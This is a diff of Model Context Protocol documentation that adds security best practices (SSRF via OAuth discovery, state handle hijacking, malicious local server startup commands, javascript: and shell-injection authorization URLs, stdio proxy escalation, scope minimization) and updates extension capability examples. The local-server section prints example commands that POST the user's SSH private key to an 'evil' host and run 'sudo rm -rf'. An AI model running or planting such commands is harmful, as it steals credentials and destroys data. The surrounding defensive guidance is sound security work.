+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### SSRF Against Authorization Servers
+
+SSRF risks are not limited to MCP clients. When an authorization
+server supports
+[Client ID Metadata Documents](/specification/draft/basic/authorization/client-registration#client-id-metadata-documents),
+the authorization server takes a URL as input from an unknown client
+and fetches that URL. A malicious client could use this to trigger
+the authorization server to make requests to arbitrary URLs, such as
+requests to private administration endpoints the authorization server
+has access to.
+
+The mitigations described above, such as blocking private IP ranges
+and using egress proxies, apply equally to authorization servers
+fetching client metadata documents. See
+[Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery)
+in the Client ID Metadata Document specification for further
+guidance.
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### State Handle Hijacking
+
+MCP is [stateless](/specification/draft/basic/index#statelessness) and
+has no protocol-level sessions. Servers that need state spanning
+multiple requests mint an explicit handle, such as a shopping cart ID
+or a workflow ID, and receive it back as an ordinary tool argument on
+each request. State handle hijacking is an attack vector where an
+unauthorized party obtains or guesses such a handle and uses it to
+access or modify another user's state.
+
+#### Attack Description
+
+1. The MCP server mints a state handle for an authenticated user and
+ returns it in a tool result.
+2. The attacker obtains or guesses the handle.
+3. The attacker calls the MCP server's tools with the handle as an
+ argument.
+4. The MCP server does not check whether the handle belongs to the
+ caller and operates on the original user's state, allowing
+ unauthorized access or actions.
+
+#### Mitigation
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP servers **MUST NOT** treat possession of a state handle
+as authentication.
+
+MCP servers **SHOULD** use secure, non-deterministic handles generated
+with secure random number generators. Avoid predictable or sequential
+identifiers that could be guessed by an attacker. Expiring handles can
+also reduce the risk.
+
+MCP servers **SHOULD** bind handles server-side to the authenticated
+user, for example by keying stored state as `:` where
+the user ID is derived from the verified token rather than supplied by
+the client, and reject a handle presented by any other principal. This
+ensures that even if an attacker guesses a handle, they cannot
+impersonate another user.
+
+For guidance on securing the server-assigned session IDs used by
+protocol version `2025-11-25` and earlier, see
+[Session Hijacking in the 2025-11-25 version of this page](/docs/2025-11-25/tutorials/security/security_best_practices#session-hijacking).
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Mix-Up Attacks
+
+#### Attack Description
+
+An MCP client typically interacts with many authorization servers
+over its lifetime. An attacker that controls one of those
+authorization servers may attempt to have the client send it an
+authorization code or token issued by a different, honest
+authorization server (a mix-up attack, described in
+[RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)).
+
+#### Mitigation
+
+[Authorization Response Validation](/specification/draft/basic/authorization#authorization-response-validation)
+mitigates this by binding the response to the authorization server
+the client recorded before redirecting, so the authorization code
+cannot be redeemed at an unintended token endpoint. PKCE alone does
+not prevent this attack because the client transmits the
+`code_verifier` to the attacker's token endpoint. Resource indicators
+do not help when the attacker's authorization server is intercepting
+requests before they hit the honest authorization server. This
+mitigation depends on honest authorization servers emitting `iss`; it
+provides no protection against an honest server that does not.
+
+### Localhost Redirect URI Impersonation
+
+Native and locally-running MCP clients commonly use `localhost`
+redirect URIs. When clients identify themselves with
+[Client ID Metadata Documents](/specification/draft/basic/authorization/client-registration#client-id-metadata-documents),
+the metadata document proves control of a domain, but it cannot prove
+which local process is listening on a `localhost` redirect URI.
+
+#### Attack Description
+
+An attacker can claim to be any client by:
+
+1. Providing the legitimate client's metadata URL as their `client_id`
+2. Binding to any `localhost` port, and providing that address as
+ the redirect\_uri
+3. Receiving the authorization code via the redirect when the user
+ approves
+
+The server will see the legitimate client's metadata document and the
+user will see the legitimate client's name, making attack detection
+difficult.
+
+#### Mitigation
+
+See
+[Localhost Redirect URI Risks](/specification/draft/basic/authorization/security-considerations#localhost-redirect-uri-risks)
+in the authorization specification for the countermeasures expected
+of authorization servers, including displaying additional warnings for
+`localhost`-only redirect URIs and clearly displaying the redirect URI
+hostname during authorization.
+
+### CIMD Trust Policies
+
+Authorization servers that accept
+[Client ID Metadata Documents](/specification/draft/basic/authorization/client-registration#client-id-metadata-documents)
+can apply domain-based trust policies to decide which URL-based
+client IDs to accept:
+
+* Allowlists for trusted domains (for protected servers)
+* Accept any HTTPS `client_id` (for open servers)
+* Reputation checks for unknown domains
+* Restrictions based on domain age or certificate validation
+* Display the CIMD and other associated client hostnames prominently
+ to prevent phishing
+
+Servers maintain full control over their access policies. See
+[Trust Policies](/specification/draft/basic/authorization/security-considerations#trust-policies)
+in the authorization specification, along with
+[Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4)
+and
+[Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8)
+of the Client ID Metadata Document specification, for more details.
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Servers have flexibility in determining which scopes to include:
+
+* **Minimum approach**: Include only the scopes required for the
+ specific operation that triggered the error.
+* **Recommended approach**: Include the scopes required for the
+ current operation along with related scopes that commonly work
+ together, to reduce the number of step-up authorization rounds.
+* **Extended approach**: Include the scopes required for the
+ current operation, related scopes, and any other scopes the
+ server anticipates the client may need in the near future.
+
+The choice depends on the server's assessment of user experience impact and authorization friction.
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+When the initial `WWW-Authenticate` challenge carries no `scope`
+parameter, the
+[Scope Selection Strategy](/specification/draft/basic/authorization#scope-selection-strategy)
+directs clients to fall back to requesting all scopes listed in
+`scopes_supported`. This approach accommodates the general-purpose
+nature of MCP clients, which typically lack domain-specific knowledge
+to make informed decisions about individual scope selection.
+Requesting all available scopes allows the authorization server and
+end-user to determine appropriate permissions during the consent
+process, minimizing user friction while following the principle of
+least privilege.
+
+
+ Scope accumulation across operations is a client-side responsibility. Clients
+ **SHOULD** compute the union of previously requested scopes and newly
+ challenged scopes when initiating re-authorization, as described in [Step-Up
+ Authorization
+ Flow](/specification/draft/basic/authorization#step-up-authorization-flow).
+ This allows servers to remain stateless with respect to client scope sets
+ while ensuring clients do not lose previously granted permissions.
+
+
+
+ **Hierarchical scopes**: Some authorization servers define scope hierarchies
+ where a broader scope implies narrower ones (for example, an `admin` scope
+ that subsumes `read`). When accumulating scopes, the client's union may
+ contain semantically redundant entries. For example, a token previously
+ granted a broad scope may be challenged with a narrower one it already
+ implies. Clients need not deduplicate hierarchically; authorization servers
+ typically normalize such redundancy during token issuance. Servers, for their
+ part, must account for hierarchy when deciding whether a token is sufficient
+ for an operation, but this does not affect the scopes they emit in a
+ challenge.
+
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/extensions/auth/enterprise-managed-authorization.md b/content/mcp/extensions/auth/enterprise-managed-authorization.md
index 632fdaf73..cb7a6f396 100644
--- a/content/mcp/extensions/auth/enterprise-managed-authorization.md
+++ b/content/mcp/extensions/auth/enterprise-managed-authorization.md
@@ -88,15 +88,24 @@ Key aspects of the flow:
To support Enterprise-Managed Authorization, your client must:
-1. **Declare support** in the `initialize` request:
+1. **Declare support** in its per-request capabilities:
-```json theme={null}
+```jsonc theme={null}
{
- "capabilities": {
- "extensions": {
- "io.modelcontextprotocol/enterprise-managed-authorization": {}
- }
- }
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "...",
+ "params": {
+ // Other fields...
+ "_meta": {
+ // Other fields...
+ "io.modelcontextprotocol/clientCapabilities": {
+ "extensions": {
+ "io.modelcontextprotocol/enterprise-managed-authorization": {},
+ },
+ },
+ },
+ },
}
```
diff --git a/content/mcp/extensions/auth/oauth-client-credentials.md b/content/mcp/extensions/auth/oauth-client-credentials.md
index 2b273ba45..3af07b197 100644
--- a/content/mcp/extensions/auth/oauth-client-credentials.md
+++ b/content/mcp/extensions/auth/oauth-client-credentials.md
@@ -88,15 +88,24 @@ To use the OAuth Client Credentials extension, your client must:
- Include the extension in the `initialize` request capabilities:
+ Include the extension in its per-request capabilities:
- ```json theme={null}
+ ```jsonc theme={null}
{
- "capabilities": {
- "extensions": {
- "io.modelcontextprotocol/oauth-client-credentials": {}
- }
- }
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "...",
+ "params": {
+ // Other fields...
+ "_meta": {
+ // Other fields...
+ "io.modelcontextprotocol/clientCapabilities": {
+ "extensions": {
+ "io.modelcontextprotocol/oauth-client-credentials": {},
+ },
+ },
+ },
+ },
}
```
@@ -132,15 +141,20 @@ To accept client credentials tokens, your server must:
- Optionally (but recommended for discoverability), include the extension in the `initialize` response:
+ Optionally (but recommended for discoverability), include the extension in the `server/discover` response:
- ```json theme={null}
+ ```jsonc theme={null}
{
- "capabilities": {
- "extensions": {
- "io.modelcontextprotocol/oauth-client-credentials": {}
- }
- }
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ // Other fields...
+ "capabilities": {
+ "extensions": {
+ "io.modelcontextprotocol/oauth-client-credentials": {},
+ },
+ },
+ },
}
```
@@ -211,29 +225,59 @@ The official MCP SDKs provide built-in support for client credentials authentica
```python theme={null}
+ import asyncio
+
+ import httpx2
+
+ from mcp import Client
from mcp.client.auth.extensions.client_credentials import (
ClientCredentialsOAuthProvider,
)
- from mcp.client.streamable_http import streamablehttp_client
- from mcp import ClientSession
+ from mcp.client.streamable_http import streamable_http_client
+ from mcp.shared.auth import OAuthClientInformationFull, OAuthToken
+
+
+ class InMemoryTokenStorage:
+ def __init__(self) -> None:
+ self.tokens: OAuthToken | None = None
+ self.client_info: OAuthClientInformationFull | None = None
+
+ async def get_tokens(self) -> OAuthToken | None:
+ return self.tokens
+
+ async def set_tokens(self, tokens: OAuthToken) -> None:
+ self.tokens = tokens
+
+ async def get_client_info(self) -> OAuthClientInformationFull | None:
+ return self.client_info
+
+ async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:
+ self.client_info = client_info
+
provider = ClientCredentialsOAuthProvider(
server_url="https://mcp.example.com/mcp",
+ storage=InMemoryTokenStorage(),
client_id="my-service",
client_secret="s3cr3t",
scopes="read write",
)
- async with streamablehttp_client(
- "https://mcp.example.com/mcp",
- auth_provider=provider,
- ) as (read_stream, write_stream, _):
- async with ClientSession(read_stream, write_stream) as session:
- await session.initialize()
- # Use the client
- tools = await session.list_tools()
- print("Available tools:", [t.name for t in tools.tools])
+ async def main() -> None:
+ async with httpx2.AsyncClient(auth=provider) as http_client:
+ transport = streamable_http_client(
+ "https://mcp.example.com/mcp",
+ http_client=http_client,
+ )
+ async with Client(transport) as client:
+ # Use the client
+ tools = await client.list_tools()
+ print("Available tools:", [t.name for t in tools.tools])
+
+
+ if __name__ == "__main__":
+ asyncio.run(main())
```
@@ -280,39 +324,70 @@ The official MCP SDKs provide built-in support for client credentials authentica
```python theme={null}
+ import asyncio
+ from pathlib import Path
+
+ import httpx2
+
+ from mcp import Client
from mcp.client.auth.extensions.client_credentials import (
PrivateKeyJWTOAuthProvider,
SignedJWTParameters,
)
- from mcp.client.streamable_http import streamablehttp_client
- from mcp import ClientSession
+ from mcp.client.streamable_http import streamable_http_client
+ from mcp.shared.auth import OAuthClientInformationFull, OAuthToken
+
+
+ class InMemoryTokenStorage:
+ def __init__(self) -> None:
+ self.tokens: OAuthToken | None = None
+ self.client_info: OAuthClientInformationFull | None = None
+
+ async def get_tokens(self) -> OAuthToken | None:
+ return self.tokens
+
+ async def set_tokens(self, tokens: OAuthToken) -> None:
+ self.tokens = tokens
+
+ async def get_client_info(self) -> OAuthClientInformationFull | None:
+ return self.client_info
+
+ async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:
+ self.client_info = client_info
+
# Create a signed JWT assertion provider from key parameters
jwt_params = SignedJWTParameters(
issuer="my-service",
subject="my-service",
- signing_key=open("private_key.pem").read(),
+ signing_key=Path("private_key.pem").read_text(),
signing_algorithm="RS256",
lifetime_seconds=300,
)
provider = PrivateKeyJWTOAuthProvider(
server_url="https://mcp.example.com/mcp",
+ storage=InMemoryTokenStorage(),
client_id="my-service",
assertion_provider=jwt_params.create_assertion_provider(),
scopes="read write",
)
- async with streamablehttp_client(
- "https://mcp.example.com/mcp",
- auth_provider=provider,
- ) as (read_stream, write_stream, _):
- async with ClientSession(read_stream, write_stream) as session:
- await session.initialize()
- # Use the client
- tools = await session.list_tools()
- print("Available tools:", [t.name for t in tools.tools])
+ async def main() -> None:
+ async with httpx2.AsyncClient(auth=provider) as http_client:
+ transport = streamable_http_client(
+ "https://mcp.example.com/mcp",
+ http_client=http_client,
+ )
+ async with Client(transport) as client:
+ # Use the client
+ tools = await client.list_tools()
+ print("Available tools:", [t.name for t in tools.tools])
+
+
+ if __name__ == "__main__":
+ asyncio.run(main())
```
diff --git a/content/mcp/extensions/auth/overview.md b/content/mcp/extensions/auth/overview.md
index dc5740fc7..ea8e670e5 100644
--- a/content/mcp/extensions/auth/overview.md
+++ b/content/mcp/extensions/auth/overview.md
@@ -55,4 +55,4 @@ Authorization extension support varies by client. See the [client matrix](/exten
## Specification
-Both extensions are specified in the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft). They use the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients and servers declare support in the `extensions` field of their capabilities during initialization.
+Both extensions are specified in the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft). They use the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` they send in each request's `_meta`, and servers advertise theirs in the capabilities returned by [`server/discover`](/specification/draft/server/discover).
diff --git a/content/mcp/extensions/client-matrix.md b/content/mcp/extensions/client-matrix.md
index b4050b120..725ced8d3 100644
--- a/content/mcp/extensions/client-matrix.md
+++ b/content/mcp/extensions/client-matrix.md
@@ -10,7 +10,7 @@ export const CHECK = () => ;
-This matrix shows which MCP clients support each [official extension](/extensions/overview). Extensions are always opt-in — a client only uses an extension if both client and server declare support during the [initialization handshake](/extensions/overview#negotiation).
+This matrix shows which MCP clients support each [official extension](/extensions/overview). Extensions are always opt-in: a client only uses an extension if both client and server declare support in the `extensions` field of their [capabilities](/extensions/overview#negotiation).
This list is maintained by the community. If you notice any inaccuracies or would like to add or update information, please [submit a pull request](https://github.com/modelcontextprotocol/modelcontextprotocol/pulls).
@@ -49,7 +49,7 @@ This matrix shows which MCP clients support each [official extension](/extension
If you're building an MCP client and want to implement extension support:
1. Review the extension specification (e.g., in the [ext-auth](https://github.com/modelcontextprotocol/ext-auth) or [ext-apps](https://github.com/modelcontextprotocol/ext-apps) repository)
-2. Declare support in the `extensions` field of your `initialize` capabilities
+2. Declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` your client sends in each request's `_meta`, and read the server's `extensions` from its [`server/discover`](/specification/draft/server/discover) response
3. Implement the extension's protocol requirements
4. Submit a pull request to update this matrix
diff --git a/content/mcp/extensions/overview.md b/content/mcp/extensions/overview.md
index 49cac4ff2..14dd1a4ba 100644
--- a/content/mcp/extensions/overview.md
+++ b/content/mcp/extensions/overview.md
@@ -104,32 +104,35 @@ A **breaking change** is any modification that would cause existing implementati
## Negotiation
-Clients and servers advertise their support for extensions in the `extensions` field within their respective capabilities during the [initialization handshake](/specification/latest/basic/lifecycle).
+Clients and servers advertise their support for extensions in the `extensions` field within their respective capability declarations.
